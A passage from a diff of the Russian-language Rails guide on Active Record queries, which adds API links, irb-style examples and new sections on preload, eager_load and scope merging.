ORDER BY customers.first_name DESC LIMIT 1 ``` -Метод `last!` ведет себя подобно `last`, за исключением того, что он вызовет `ActiveRecord::RecordNotFound`, если не найдено ни одной соответствующей записи. +Метод [`last!`][] ведет себя подобно `last`, за исключением того, что он вызовет `ActiveRecord::RecordNotFound`, если не найдено ни одной соответствующей записи. + +[`last`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-last +[`last!`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-last-21 #### `find_by` -Метод `find_by` ищет первую запись, соответствующую некоторым условиям. Например: +Метод [`find_by`][] ищет первую запись, соответствующую некоторым условиям. Например: -```ruby -Customer.find_by first_name: 'Lifo' -# => # +```irb +irb> Customer.find_by first_name: 'Lifo' +=> # -Customer.find_by first_name: 'Jon' -# => nil +irb> Customer.find_by first_name: 'Jon' +=> nil ``` Это эквивалент записи: @@ -325,11 +352,11 @@ SQL эквивалент выражения выше, следующий: SELECT * FROM customers WHERE (customers.first_name = 'Lifo') LIMIT 1 ``` -Метод `find_by!` ведет себя подобно `find_by`, за исключением того, что он вызовет `ActiveRecord::RecordNotFound`, если не найдено ни одной соответствующей записи. Например: +Метод [`find_by!`][] ведет себя подобно `find_by`, за исключением того, что он вызовет `ActiveRecord::RecordNotFound`, если не найдено ни одной соответствующей записи. Например: -```ruby -Customer.find_by! first_name: 'does not exist' -# => ActiveRecord::RecordNotFound +```irb +irb> Customer.find_by! first_name: 'does not exist' +ActiveRecord::RecordNotFound ``` Это эквивалент записи: @@ -338,6 +365,9 @@ Customer.find_by! first_name: 'does not exist' Customer.where(first_name: 'does not exist').take! ``` +[`find_by`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find_by +[`find_by!`]: https://api.rubyonrails.org/classes/ActiveRecord/FinderMethods.html#method-i-find_by-21 + ### Получение нескольких объектов пакетами Часто необходимо перебрать огромный набор записей, например, когда рассылаем письма всем покупателям или импортируем некоторые данные. @@ -359,7 +389,7 @@ TIP: Методы `find_each` и `find_in_batches` предназначены д #### `find_each` -Метод `find_each` получает пакет записей и затем передает _каждую_ запись в блок. В следующем примере `find_each` получает покупателей пакетами по 1000 записей, а затем передает их в блок один за другим: +Метод [`find_each`][] получает пакет записей и затем передает _каждую_ запись в блок. В следующем примере `find_each` получает покупателей пакетами по 1000 записей, а затем передает их в блок один за другим: ```ruby Customer.find_each do |customer| @@ -381,6 +411,8 @@ end Если у получателя есть упорядочивание, то поведение зависит от флажка `config.active_record.error_on_ignored_order`. Если true, вызывается `ArgumentError`, в противном случае упорядочивание игнорируется, что является поведением по умолчанию. Это можно переопределить с помощью опции `:error_on_ignore`, описанной ниже. +[`find_each`]: https://api.rubyonrails.org/classes/ActiveRecord/Batches.html#method-i-find_each + ##### Опции для `find_each` **`:batch_size`** @@ -426,7 +458,7 @@ end #### `find_in_batches` -Метод `find_in_batches` похож на `find_each` тем, что они оба получают пакеты записей. Различие в том, что `find_in_batches` передает в блок _пакеты_ как массив моделей, вместо отдельной модели. Следующий пример передаст в представленный блок массив из 1000 счетов за раз, а в последний блок содержащий всех оставшихся покупателей: +Метод [`find_in_batches`][] похож на `find_each` тем, что они оба получают пакеты записей. Различие в том, что `find_in_batches` передает в блок _пакеты_ как массив моделей, вместо отдельной модели. Следующий пример передаст в представленный блок массив из 1000 счетов за раз, а в последний блок содержащий всех оставшихся покупателей: ```ruby # Передает в add_customers массив из 1000 покупателей за раз. @@ -446,6 +478,8 @@ end только у них нет упорядочивания, так как методу необходимо собственное упорядочивание для работы. +[`find_in_batches`]: https://api.rubyonrails.org/classes/ActiveRecord/Batches.html#method-i-find_in_batches + ##### Опции для `find_in_batches` Метод `find_in_batches` принимает те же опции, что и `find_each`: @@ -487,7 +521,7 @@ end Условия ------- -Метод `where` позволяет определить условия для ограничения возвращаемых записей, которые представляют `WHERE`-часть выражения SQL. Условия могут быть заданы как строка, массив или хэш. +Метод [`where`][] позволяет определить условия для ограничения возвращаемых записей, которые представляют `WHERE`-часть выражения SQL. Условия могут быть заданы как строка, массив или хэш. ### (pure-string-conditions) Чисто строковые условия @@ -602,7 +636,7 @@ SELECT * FROM customers WHERE (customers.orders_count IN (1,3,5)) ### Условия NOT -Запросы `NOT` в SQL могут быть созданы с помощью `where.not`: +Запросы `NOT` в SQL могут быть созданы с помощью [`where.not`][]: ```ruby Customer.where.not(orders_count: [1,3,5]) @@ -614,9 +648,11 @@ Customer.where.not(orders_count: [1,3,5]) SELECT * FROM customers WHERE (customers.orders_count NOT IN (1,3,5)) ``` +[`where.not`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods/WhereChain.html#method-i-not + ### Условия OR -Условия `OR` между двумя отношениями могут быть построены путем вызова `or` на первом отношении и передачи второго в качестве аргумента. +Условия `OR` между двумя отношениями могут быть построены путем вызова [`or`][] на первом отношении и передачи второго в качестве аргумента. ```ruby Customer.where(last_name: 'Smith').or(Customer.where(orders_count: [1,3,5])) @@ -626,10 +662,12 @@ Customer.where(last_name: 'Smith').or(Customer.where(orders_count: [1,3,5])) SELECT * FROM customers WHERE (customers.last_name = 'Smith' OR customers.orders_count IN (1,3,5)) ``` -(ordering) Сортировка ---------------------- +[`or`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-or + +(ordering) Упорядочивание +------------------------- -Чтобы получить записи из базы данных в определенном порядке, можете использовать метод `order`. +Чтобы получить записи из базы данных в определенном порядке, можете использовать метод [`order`][]. Например, если вы получаете ряд записей и хотите упорядочить их в порядке возрастания поля `created_at` в таблице: @@ -665,9 +703,9 @@ Customer.order("orders_count ASC", "created_at DESC") Если хотите вызвать `order` несколько раз, последующие сортировки будут добавлены к первой: -```ruby -Customer.order("orders_count ASC").order("created_at DESC") -# SELECT * FROM customers ORDER BY orders_count ASC, created_at DESC +```irb +irb> Customer.order("orders_count ASC").order("created_at DESC") +SELECT * FROM customers ORDER BY orders_count ASC, created_at DESC ``` WARNING: В большинстве СУБД при выборе полей с помощью `distinct` из результирующей выборки используя методы, такие как `select`, `pluck` и `ids`; метод `order` вызовет исключение `ActiveRecord::StatementInvalid`, если поля, используемые в выражении `order`, не включены в список выбора. Смотрите следующий раздел по выбору полей из результирующей выборки. @@ -677,7 +715,7 @@ WARNING: В большинстве СУБД при выборе полей с п По умолчанию `Model.find` выбирает все множество полей результата, используя `select *`. -Чтобы выбрать подмножество полей из всего множества, можете определить его, используя метод `select`. +Чтобы выбрать подмножество полей из всего множества, можете определить его, используя метод[`select`][]. Например, чтобы выбрать только столбцы `isbn` и `out_of_print`: @@ -701,7 +739,7 @@ ActiveModel::MissingAttributeError: missing attribute: Где `` это атрибут, который был запрошен. Метод `id` не вызывает `ActiveRecord::MissingAttributeError`, поэтому будьте аккуратны при работе со связями, так как они нуждаются в методе `id` для правильной работы. -Если хотите вытащить только по одной записи для каждого уникального значения в определенном поле, можно использовать `distinct`: +Если хотите вытащить только по одной записи для каждого уникального значения в определенном поле, можно использовать [`distinct`][]: ```ruby Customer.select(:last_name).distinct @@ -716,17 +754,17 @@ SELECT DISTINCT last_name FROM customers Также можно убрать ограничение уникальности: ```ruby +# Возвратит уникальные last_name query = Customer.select(:last_name).distinct -# => Возвратит уникальные last_name +# Возвратит все last_name, даже если есть дубликаты query.distinct(false) -# => Возвратит все last_name, даже если есть дубликаты ``` Ограничение и смещение ---------------------- -Чтобы применить `LIMIT` к SQL, запущенному с помощью `Model.find`, нужно определить `LIMIT`, используя методы `limit` и `offset` на relation. +Чтобы применить `LIMIT` к SQL, запущенному с помощью `Model.find`, нужно определить `LIMIT`, используя методы [`limit`][] и [`offset`][] на relation. Используйте `limit` для определения количества записей, которые будут получены, и `offset` - для числа записей, которые будут пропущены до начала возврата записей. Например: @@ -755,7 +793,7 @@ SELECT * FROM customers LIMIT 5 OFFSET 30 Группировка ----------- -Чтобы применить условие `GROUP BY` к `SQL`, можно использовать метод `group`. +Чтобы применить условие `GROUP BY` к `SQL`, можно использовать метод [`group`][]. Например, если хотите найти коллекцию дат, в которые были созданы заказы: @@ -775,11 +813,11 @@ GROUP BY created_at ### Общее количество сгруппированных элементов -Чтобы получить общее количество сгруппированных элементов одним запросом, вызовите `count` после `group`. +Чтобы получить общее количество сгруппированных элементов одним запросом, вызовите [`count`][] после `group`. -```ruby -Order.group(:status).count -# => { 'being_packed' => 7, 'shipped' => 12 } +```irb +irb> Order.group(:status).count +=> {"being_packed"=>7, "shipped"=>12} ``` SQL, который будет выполнен, будет выглядеть так: @@ -790,10 +828,12 @@ FROM orders GROUP BY status ``` +[`count`]: https://api.rubyonrails.org/classes/ActiveRecord/Calculations.html#method-i-count + Having ------ -SQL использует условие `HAVING` для определения условий для полей, указанных в `GROUP BY`. Условие `HAVING`, определенное в SQL, запускается в `Model.find` с использованием метода `having` для поиска. +SQL использует условие `HAVING` для определения условий для полей, указанных в `GROUP BY`. Условие `HAVING`, определенное в SQL, запускается в `Model.find` с использованием метода [`having`][] для поиска. Например: @@ -829,7 +869,7 @@ big_orders[0].total_price ### `unscope` -Можете указать определенные условия, которые будут убраны, используя метод `unscope`. Например: +Можете указать определенные условия, которые будут убраны, используя метод [`unscope`][]. Например: ```ruby Book.where('id > 100').limit(20).order('id desc').unscope(:order) @@ -840,9 +880,8 @@ SQL, который будет выполнен, будет выглядеть ```sql SELECT * FROM books WHERE id > 100 LIMIT 20 -# Оригинальный запрос без `unscope` +-- Оригинальный запрос без `unscope` SELECT * FROM books WHERE id > 100 ORDER BY id desc LIMIT 20 - ``` Также можно убрать определенные условия `where`. Например, это уберет условие для `id` из условия where: @@ -859,9 +898,11 @@ Book.order('id desc').merge(Book.unscope(:order)) # SELECT books.* FROM books ``` +[`unscope`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-unscope + ### `only` -Также можно переопределить условия, используя метод `only`. Например: +Также можно переопределить условия, используя метод [`only`][]. Например: ```ruby Book.where('id > 10').limit(20).order('id desc').only(:order, :where) @@ -872,14 +913,15 @@ SQL, который будет выполнен, будет выглядеть ```sql SELECT * FROM books WHERE id > 10 ORDER BY id DESC -# Оригинальный запрос без `only` +-- Оригинальный запрос без `only` SELECT * FROM books WHERE id > 10 ORDER BY id DESC LIMIT 20 - ``` +[`only`]: https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-only + ### `reselect` -Метод `reselect` переопределяет существующее выражение select. Например: +Метод [`reselect`][] переопределяет существующее выражение select. Например: ```ruby Book.select(:title, :isbn).reselect(:created_at) @@ -905,7 +947,7 @@ SELECT `books`.`title`, `books`.`isbn`, `books`.`created_at` FROM `books` ### `reorder` -Метод `reorder` переопределяет сортировку скоупа по умолчанию. Например, если определение класса включает это: +Метод [`reorder`][] переопределяет сортировку скоупа по умолчанию. Например, если определение класса включает это: ```ruby class Author < ApplicationRecord @@ -941,7 +983,7 @@ SELECT * FROM books WHERE author_id = 10 ORDER BY year_published ASC ### `reverse_order` -Метод `reverse_order` меняет направление условия сортировки, если оно определено: +Метод [`reverse_order`][] меняет направление условия сортировки, если оно определено: ```ruby Customer.where("orders_count > 10").order(:last_name).reverse_order @@ -969,7 +1011,7 @@ SELECT * FROM customers WHERE orders_count > 10 ORDER BY customers.id DESC ### `rewhere` -Метод `rewhere` переопределяет существующее именованное условие `where`. Например: +Метод [`rewhere`][] переопределяет существующее именованное условие `where`. Например: ```ruby Book.where(out_of_print: true).rewhere(out_of_print: false) @@ -993,10 +1035,12 @@ Book.where(out_of_print: true).where(out_of_print: false) SELECT * FROM books WHERE `out_of_print` = 1 AND `out_of_print` = 0 ``` +[`rewhere`]: https://api.rubyonrails.org/classes/ActiveRecord/QueryMethods.html#method-i-rewhere + Нулевой Relation ---------------- -Метод `none` возвращает сцепляемый relation без записей. Любые последующие условия, сцепленные с возвращенным relation, продолжат генерировать пустые relation. Это полезно в случаях, когда необходим сцепляемый отклик на метод или скоуп, который может вернуть пустые результаты. +Метод [`none`][] возвращает сцепляемый relation без записей. Любые последующие условия, сцепленные с возвращенным relation, продолжат генерировать пустые relation. Это полезно в случаях, когда необходим сцепляемый отклик на метод или скоуп, который может вернуть пустые результаты. ```ruby Order.none # возвращает пустой Relation и не вызывает запросов. @@ -1023,7 +1067,7 @@ end Объекты только для чтения ------------------------- -Active Record предоставляет relation метод `readonly` для явного запрета на модификацию любого из возвращаемых объектов. Любая попытка изменить запись, доступную только для чтения, не удастся, вызвав исключение `ActiveRecord::ReadOnlyRecord`. +Active Record предоставляет relation метод [`readonly`][] для явного запрета на модификацию любого из возвращаемых объектов. Любая попытка изменить запись, доступную только для чтения, не удастся, вызвав исключение `ActiveRecord::ReadOnlyRecord`. ```ruby customer = Customer.readonly.first @@ -1128,7 +1172,7 @@ Active Record предоставляет два метода поиска для ### `joins` -Существует несколько способов использования метода `joins`. +Существует несколько способов использования метода [`joins`][]. #### Использование строкового фрагмента SQL @@ -1222,7 +1266,7 @@ INNER JOIN suppliers ON suppliers.id = books.supplier_id ```ruby time_range = (Time.now.midnight - 1.day)..Time.now.midnight -Customer.joins(:orders).where('orders.created_at' => time_range) +Customer.joins(:orders).where('orders.created_at' => time_range).distinct ``` Это найдет всех покупателей, сделавших вчера заказы, используя выражение SQL `BETWEEN` для сравнения `created_at`. @@ -1231,14 +1275,33 @@ Customer.joins(:orders).where('orders.created_at' => time_range) ```ruby time_range = (Time.now.midnight - 1.day)..Time.now.midnight -Customer.joins(:orders).where(orders: { created_at: time_range }) +Customer.joins(:orders).where(orders: { created_at: time_range }).distinct +``` + +Для более сложных условий или повторного использования существующих именованных скоупов можно использовать `Relation#merge`. Сперва давайте добавим новый именованный скоуп в модель Order: + +```ruby +class Order < ApplicationRecord + belongs_to :customer + + scope :created_in_time_range, ->(time_range) { + where(created_at: time_range) + } +end +``` + +Теперь можно использовать `Relation#merge` для слияния со скоупом `created_in_time_range`: + +```ruby +time_range = (Time.now.midnight - 1.day)..Time.now.midnight +Customer.joins(:orders).merge(Order.created_in_time_range(time_range)).distinct ``` Это найдет всех покупателей, сделавших вчера заказы, снова используя выражение SQL `BETWEEN`. ### `left_outer_joins` -Если хотите выбрать ряд записей, независимо от того, имеют ли они связанные записи, можно использовать метод `left_outer_joins`. +Если хотите выбрать ряд записей, независимо от того, имеют ли они связанные записи, можно использовать метод [`left_outer_joins`][]. ```ruby Customer.left_outer_joins(:reviews).distinct.select('customers.*, COUNT(reviews.*) AS reviews_count').group('customers.id') @@ -1274,9 +1337,19 @@ end **Решение проблемы N + 1 запроса** -Active Record позволяет заранее указать все связи, которые должны быть загружены. Это возможно с помощью указания метода `includes` на вызове `Model.find`. Посредством `includes`, Active Record обеспечивает то, что все указанные связи загружаются с использованием минимально возможного количества запросов. +Active Record позволяет заранее указать все связи, которые должны быть загружены. -Пересмотрев вышеупомянутую задачу, можно переписать `Book.limit(10)`, чтобы нетерпеливо загрузить авторов: +Методы следующие: + +* [`includes`][] +* [`preload`][] +* [`eager_load`][] + +### includes + +С помощью `includes` Active Record убеждается, что все указанные связи загружаются с помощью минимально возможного количества запросов. + +Пересмотрев вышеупомянутую задачу, можно переписать `Book.limit(10)`, чтобы нетерпеливо загрузить авторов с помощью метода `includes`: ```ruby books = Book.includes(:author).limit(10) @@ -1289,16 +1362,16 @@ end Этот код выполнит всего **2** запроса, вместо **11** запросов из прошлого примера: ```sql -SELECT * FROM books LIMIT 10 -SELECT authors.* FROM authors - WHERE (authors.id IN (1,2,3,4,5,6,7,8,9,10)) +SELECT `books`* FROM `books` LIMIT 10 +SELECT `authors`.* FROM `authors` + WHERE `authors`.`book_id` IN (1,2,3,4,5,6,7,8,9,10) ``` -### Нетерпеливая загрузка нескольких связей +#### Нетерпеливая загрузка нескольких связей Active Record позволяет нетерпеливо загружать любое количество связей в одном вызове `Model.find` с использованием массива, хэша или вложенного хэша массивов/хэшей с помощью метода `includes`. -#### Массив нескольких связей +##### Массив нескольких связей ```ruby Customer.includes(:orders, :reviews) @@ -1306,7 +1379,7 @@ Customer.includes(:orders, :reviews) Это загрузит всех покупателей и связанные заказы и рецензии для каждого. -#### Вложенный хэш связей +##### Вложенный хэш связей ```ruby Customer.includes(orders: {books: [:supplier, :author]}).find(1) @@ -1314,7 +1387,7 @@ Customer.includes(orders: {books: [:supplier, :author]}).find(1) Вышеприведенный код находит покупателя с id 1 и нетерпеливо загружает все связанные заказы для него, книги для всех заказов, и автора и поставщика каждой книги. -### Определение условий для нетерпеливой загрузки связей +#### Определение условий для нетерпеливой загрузки связей Хотя Active Record и позволяет определить условия для нетерпеливой загрузки связей точно так же, как и в `joins`, рекомендуем использовать вместо этого [joins](#joining-tables). @@ -1342,12 +1415,61 @@ Author.includes(:books).where("books.out_of_print = true").references(:books) NOTE: Если связь нетерпеливо загружена как часть join, любые поля из произвольного выражения select не будут присутствовать в загруженных моделях. Это так, потому что это избыточность, которая должна появиться или в родительской модели, или в дочерней. +### preload + +С помощью `preload` Active record гарантирует, что загружает с помощью запроса для каждой указанной связи. + +Пересмотрим случай, когда произошел N + 1, с помощью метода `preload` можно переписать связь `Book.limit(10)` с авторами: + +```ruby +books = Book.preload(:author).limit(10) + +books.each do |book| + puts book.author.last_name +end +``` + +Вышеуказанный код выполнит всего лишь **2** запроса, против **11** запросов в прошлом случае: + +```sql +SELECT `books`* FROM `books` LIMIT 10 +SELECT `authors`.* FROM `authors` + WHERE `authors`.`book_id` IN (1,2,3,4,5,6,7,8,9,10) +``` + +NOTE: Метод `preload` использует массив, хэш, или вложенный хэш массивов/хэшей тем же самым образом, как метод `includes`, чтобы загрузить любое количество связей, с помощь единого вызова `Model.find`. Однако, в отличие от метода `includes`, невозможно указать условия для нетерпеливой загрузки связей. + +### eager_load + +С помощью `eager_load` Active record гарантирует, что нетерпеливо загрузит все указанные связи с помощью `LEFT OUTER JOIN`. + +Пересмотрим случай, когда произошел N + 1, с помощью метода `eager_load` можно переписать связь `Book.limit(10)` с авторами: + +```ruby +books = Book.eager_load(:author).limit(10) + +books.each do |book| + puts book.author.last_name +end +``` + +Вышеуказанный код выполнит всего лишь **2** запросов, против **11** запросов в прошлом случае: + +```sql +SELECT DISTINCT `books`.`id` FROM `books` LEFT OUTER JOIN `authors` ON `authors`.`book_id` = `books`.`id` LIMIT 10 +SELECT `books`.`id` AS t0_r0, `books`.`last_name` AS t0_r1, ... + FROM `books` LEFT OUTER JOIN `authors` ON `authors`.`book_id` = `books`.`id` + WHERE `books`.`id` IN (1,2,3,4,5,6,7,8,9,10) +``` + +NOTE: Метод `eager_load` использует массив, хэш, или вложенный хэш массивов/хэшей тем же самым образом, как метод `includes`, чтобы загрузить любое количество связей, с помощь единого вызова `Model.find`. Однако, в отличие от метода `includes`, невозможно указать условия для нетерпеливой загрузки связей. + (scopes) Скоупы --------------- Скоупы позволяют задавать часто используемые запросы, к которым можно обращаться как к вызовам метода в связанных объектах или моделях. С помощью этих скоупов можно использовать каждый ранее раскрытый метод, такой как `where`, `joins` и `includes`. Все методы скоупов возвращают объект `ActiveRecord::Relation` или `nil`, что позволяет вызывать на них дополнительные методы (такие как другие скоупы). -Для определения простого скоупа мы используем метод `scope` внутри класса, передав запрос, который хотим запустить при вызове этого скоупа: +Для определения простого скоупа мы используем метод [`scope`][] внутри класса, передав запрос, который хотим запустить при вызове этого скоупа: ```ruby class Book < ApplicationRecord @@ -1357,15 +1479,17 @@ end Для вызова скоупа `out_of_print`, можно вызвать его либо на классе: -```ruby -Book.out_of_print # => [все распроданные книги] +```irb +irb> Book.out_of_print +=> # # все распроданные книги ``` Либо на связи, состоящей из объектов `Book`: -```ruby -author = Author.first -author.books.out_of_print # => [все распроданные книги этого автора] +```irb +irb> author = Author.first +irb> author.books.out_of_print +=> # # все распроданные книги этого `author` ``` Скоупы также сцепляются с другими скоупами: @@ -1377,6 +1501,8 @@ class Book < ApplicationRecord end ``` +[`scope`]: https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Named/ClassMethods.html#method-i-scope + ### Передача аргумента Скоуп может принимать аргументы: @@ -1389,8 +1515,8 @@ end Вызывайте скоуп, как будто это метод класса: -```ruby -Book.costs_more_than(100.10) +```irb +irb> Book.costs_more_than(100.10) ``` Однако, это всего лишь дублирование функциональности, которая должна быть предоставлена методом класса. @@ -1405,8 +1531,8 @@ end Эти методы также будут доступны на связанных объектах: -```ruby -author.books.costs_more_than(100.10) +```irb +irb> author.books.costs_more_than(100.10) ``` ### Использование условий @@ -1433,7 +1559,7 @@ end ### (applying-a-default-scope) Применение скоупа по умолчанию -Если хотите, чтобы скоуп был применен ко всем запросам модели, можно использовать метод `default_scope` в самой модели. +Если хотите, чтобы скоуп был применен ко всем запросам модели, можно использовать метод [`default_scope`][] в самой модели. ```ruby class Book < ApplicationRecord @@ -1463,9 +1589,13 @@ NOTE: `default_scope` также применяется при создании class Book < ApplicationRecord default_scope { where(out_of_print: false) } end +``` -Book.new # => # -Book.unscoped.new # => # +```irb +irb> Book.new +=> # +irb> Book.unscoped.new +=> # ``` Имейте в виду, что когда передаются в формате `Array`, аргументы запроса `default_scope` не могут быть преобразованы в `Hash` для назначения атрибутов по умолчанию. То есть: @@ -1474,10 +1604,15 @@ Book.unscoped.new # => # class Book < ApplicationRecord default_scope { where("out_of_print = ?", false) } end +``` -Book.new # => # +```irb +irb> Book.new +=> # ``` +[`default_scope`]: https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-default_scope + ### Объединение скоупов Подобно условиям `where`, скоупы объединяются с использованием `AND`. @@ -1490,23 +1625,25 @@ class Book < ApplicationRecord scope :recent, -> { where('year_published >= ?', Date.current.year - 50 )} scope :old, -> { where('year_published < ?', Date.current.year - 50 )} end +``` -Book.out_of_print.old -# SELECT books.* FROM books WHERE books.out_of_print = 'true' AND books.year_published < 1969 +```irb +irb> Book.out_of_print.old +SELECT books.* FROM books WHERE books.out_of_print = 'true' AND books.year_published < 1969 ``` Можно комбинировать условия `scope` и `where`, и результирующий SQL будет содержать все условия, соединенные с помощью `AND`. -```ruby -Book.in_print.where('price < 100') -# SELECT books.* FROM books WHERE books.out_of_print = 'false' AND books.price < 100 +```irb +irb> Book.in_print.where('price < 100') +SELECT books.* FROM books WHERE books.out_of_print = 'false' AND books.price < 100 ``` -Если необходимо, чтобы сработало только последнее условие `where`, тогда можно использовать `Relation#merge`. +Если необходимо, чтобы сработало только последнее условие `where`, тогда можно использовать [`merge`][]. -```ruby -Book.in_print.merge(Book.out_of_print) -# SELECT books.* FROM books WHERE books.out_of_print = true +```irb +irb> Book.in_print.merge(Book.out_of_print) +SELECT books.* FROM books WHERE books.out_of_print = true ``` Важным предостережением является то, что `default_scope` переопределяется условиями `scope` и `where`. @@ -1518,22 +1655,26 @@ class Book < ApplicationRecord scope :in_print, -> { where(out_of_print: false) } scope :out_of_print, -> { where(out_of_print: true) } end +``` -Book.all -# SELECT books.* FROM books WHERE (year_published >= 1969) +```irb +irb> Book.all +SELECT books.* FROM books WHERE (year_published >= 1969) -Book.in_print -# SELECT books.* FROM books WHERE (year_published >= 1969) AND books.out_of_print = true +irb> Book.in_print +SELECT books.* FROM books WHERE (year_published >= 1969) AND books.out_of_print = true -Book.where('price > 50') -# SELECT books.* FROM books WHERE (year_published >= 1969) AND (price > 50) +irb> Book.where('price > 50') +SELECT books.* FROM books WHERE (year_published >= 1969) AND (price > 50) ``` Как видите, `default_scope` объединяется как со `scope`, так и с `where` условиями. +[`merge`]: https://api.rubyonrails.org/classes/ActiveRecord/SpawnMethods.html#method-i-merge + ### Удаление всех скоупов -Если хотите удалить скоупы по какой-то причине, можете использовать метод `unscoped`. Это особенно полезно, если в модели определен `default_scope`, и он не должен быть применен для конкретно этого запроса. +Если хотите удалить скоупы по какой-то причине, можете использовать метод [`unscoped`][]. Это особенно полезно, если в модели определен `default_scope`, и он не должен быть применен для конкретно этого запроса. ```ruby Book.unscoped.load @@ -1541,23 +1682,23 @@ Book.unscoped.load Этот метод удаляет все скоупы и выполняет обычный запрос к таблице. -```ruby -Book.unscoped.all -# SELECT books.* FROM books +```irb +irb> Book.unscoped.all +SELECT books.* FROM books -Book.where(out_of_print: true).unscoped.all -# SELECT books.* FROM books +irb> Book.where(out_of_print: true).unscoped.all +SELECT books.* FROM books ``` `unscoped` также может принимать блок: -```ruby -Book.unscoped { - Book.out_of_print -} -# SELECT books.* FROM books WHERE books.out_of_print +```irb +irb> Book.unscoped { Book.out_of_print } +SELECT books.* FROM books WHERE books.out_of_print ``` +[`unscoped`]: https://api.rubyonrails.org/classes/ActiveRecord/Scoping/Default/ClassMethods.html#method-i-unscoped + (dynamic-finders) Динамический поиск ------------------------------------ @@ -1570,7 +1711,7 @@ Book.unscoped { Перечисление ------------ -`enum` позволяет определить массив значений для атрибута, и ссылаться на них по имени. Фактическим значением, хранимым в базе данных, будет целое число, соответствующее одному из значений. +Перечисление позволяет определить массив значений для атрибута, и ссылаться на них по имени. Фактическим значением, хранимым в базе данных, будет целое число, соответствующее одному из значений. Объявление перечисления: @@ -1578,9 +1719,9 @@ Book.unscoped { * Создаст метод экземпляра, который можно использовать для определения, имеет ли объект определенное значение для перечисления * Создаст метод экземпляра, который можно использовать для изменения значения перечисления у объекта -для каждого возможного значения `enum`. +для каждого возможного значения перечисления. -Например, дано это определение example `enum`: +Например, дано это определение [`enum`][]: ```ruby class Order < ApplicationRecord @@ -1590,43 +1731,42 @@ end Эти [скоупы](#scopes) будут автоматически созданы, и их можно использовать, чтобы найти все объекты с или без определенного значения для `status`. -```ruby -Order.shipped -# находит все заказы со status == :shipped -Order.not_shipped -# находит все заказы со status != :shipped -... +```irb +irb> Order.shipped +=> # # все заказы со status == :shipped +irb> Order.not_shipped +=> # # все заказы со status != :shipped ``` Эти методы экземпляра создаются автоматически и запрашивают, имеет ли модель это значение для перечисления `status`: -```ruby -order = Order.first -order.shipped? -# Возвращает true если status == :shipped -order.complete? -# Возвращает true если status == :complete -... +```irb +irb> order = Order.shipped.first +irb> order.shipped? +=> true +irb> order.complete? +=> false ``` Эти методы экземпляра создаются автоматически, и сначала обновляют значение `status` на названное значение, а затем запрашивают, был ли успешно установлен статус: -```ruby -order = Order.first -order.shipped! -# => UPDATE "orders" SET "status" = ?, "updated_at" = ? WHERE "orders"."id" = ? [["status", 0], ["updated_at", "2019-01-24 07:13:08.524320"], ["id", 1]] -# => true -... +```irb +irb> order = Order.first +irb> order.shipped! +UPDATE "orders" SET "status" = ?, "updated_at" = ? WHERE "orders"."id" = ? [["status", 0], ["updated_at", "2019-01-24 07:13:08.524320"], ["id", 1]] +=> true ``` Полную документацию об enum можно найти в [документации Rails API](https://api.rubyonrails.org/classes/ActiveRecord/Enum.html). -(Method Chaining) Цепочки методов ---------------------------------- +[`enum`]: https://api.rubyonrails.org/classes/ActiveRecord/Enum.html#method-i-enum + +(Method Chaining) Понимание цепочек методов +------------------------------------------- В Active Record есть полезный приём программирования [Method Chaining](https://en.wikipedia.org/wiki/Method_chaining), который позволяет нам комбинировать множество Active Record методов. -Можно сцепить несколько методов в единое выражение, если предыдущий вызываемый метод возвращает `ActiveRecord::Relation`, такие как `all`, `where` и `joins`. Методы, которые возвращают одиночный объект (смотрите раздел [Получение одиночного объекта](#poluchenie-odinochnogo-ob-ekta)) должны вызываться в конце. +Можно сцепить несколько методов в единое выражение, если предыдущий вызываемый метод возвращает [`ActiveRecord::Relation`][], такие как `all`, `where` и `joins`. Методы, которые возвращают одиночный объект (смотрите раздел [Получение одиночного объекта](#poluchenie-odinochnogo-ob-ekta)) должны вызываться в конце. Ниже представлены несколько примеров. Это руководство не покрывает все возможности, а только некоторые, для ознакомления. Когда вызывается Active Record метод, запрос не сразу генерируется и отправляется в базу. Запрос посылается только тогда, когда данные реально необходимы. Таким образом, каждый пример ниже генерирует только один запрос. @@ -1652,7 +1792,8 @@ WHERE (reviews.created_at > '2019-01-08') ### Получение определённых данных из нескольких таблиц ```ruby -Book.select('books.id, books.title, authors.first_name') +Book + .select('books.id, books.title, authors.first_name') .joins(:author) .find_by(title: 'Abstraction and Specification in Program Development') ``` @@ -1663,8 +1804,9 @@ Book.select('books.id, books.title, authors.first_name') SELECT books.id, books.title, authors.first_name FROM books INNER JOIN authors - ON authors.id = books.author_id + ON authors.id = books.author_id WHERE books.title = $1 [["title", "Abstraction and Specification in Program Development"]] +LIMIT 1 ``` NOTE: Обратите внимание, что если запросу соответствует несколько записей, `find_by` вернет только первую запись и проигнорирует остальные (смотрите `LIMIT 1` выше). @@ -1676,13 +1818,13 @@ NOTE: Обратите внимание, что если запросу соот ### `find_or_create_by` -Метод `find_or_create_by` проверяет, существует ли запись с определенными атрибутами. Если нет, то вызывается `create`. Давайте рассмотрим пример. +Метод [`find_or_create_by`][] проверяет, существует ли запись с определенными атрибутами. Если нет, то вызывается `create`. Давайте рассмотрим пример. -Предположим, вы хотите найти покупателя по имени 'Andy', и, если такого нет, создать его. Это можно сделать, выполнив: +Предположим, вы хотите найти покупателя по имени "Andy", и, если такого нет, создать его. Это можно сделать, выполнив: -```ruby -Customer.find_or_create_by(first_name: 'Andy') -# => #Customer id: 5, first_name: "Andy", last_name: nil, title: nil, visits: 0, orders_count: nil, lock_version: 0, created_at: "2019-01-17 07:06:45", updated_at: "2019-01-17 07:06:45" +```irb +irb> Customer.find_or_create_by(first_name: 'Andy') +=> # ``` SQL, генерируемый этим методом, будет выглядеть так: @@ -1716,9 +1858,11 @@ end Блок будет выполнен, только если покупателя был создан. Во второй раз, при запуске этого кода, блок будет проигнорирован. +[`find_or_create_by`]: https://api.rubyonrails.org/classes/ActiveRecord/Relation.html#method-i-find_or_create_by + ### `find_or_create_by!` -Можно также использовать `find_or_create_by!`, чтобы вызвать исключение, если новая 